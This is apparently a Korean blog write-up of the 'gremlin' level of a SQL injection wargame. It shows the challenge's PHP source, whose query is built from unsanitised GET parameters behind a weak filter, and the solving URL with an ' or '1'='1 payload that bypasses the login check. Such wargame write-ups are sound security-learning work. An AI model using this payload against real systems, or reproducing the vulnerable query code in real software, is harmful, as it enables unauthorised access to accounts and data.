IT보안관의 공부 클라우드
[los]gremlin 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
코드를 살펴보면 preg_match 함수로 prob _ . ( ) 을 필터링 하는 것으로 보임.
파라미터 id, pw를 이용하여 Injection 가능해보인다.
query : select id from prob_gremlin where id='' and pw=''
los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=admin%27%20or%20%271%27=%271
query : select id from prob_gremlin where id='admin' or '1'='1' and pw=''
기본적인 or 조건을 통해 우회가 가능하다.
'워게임 > los' 카테고리의 다른 글
[los]troll (0) | 2021.05.28 |
---|---|
[los]orge (0) | 2021.05.25 |
[los]darkelf (0) | 2021.05.21 |
[los]wolfman (0) | 2021.05.17 |
[los]orc (0) | 2021.03.25 |
Comments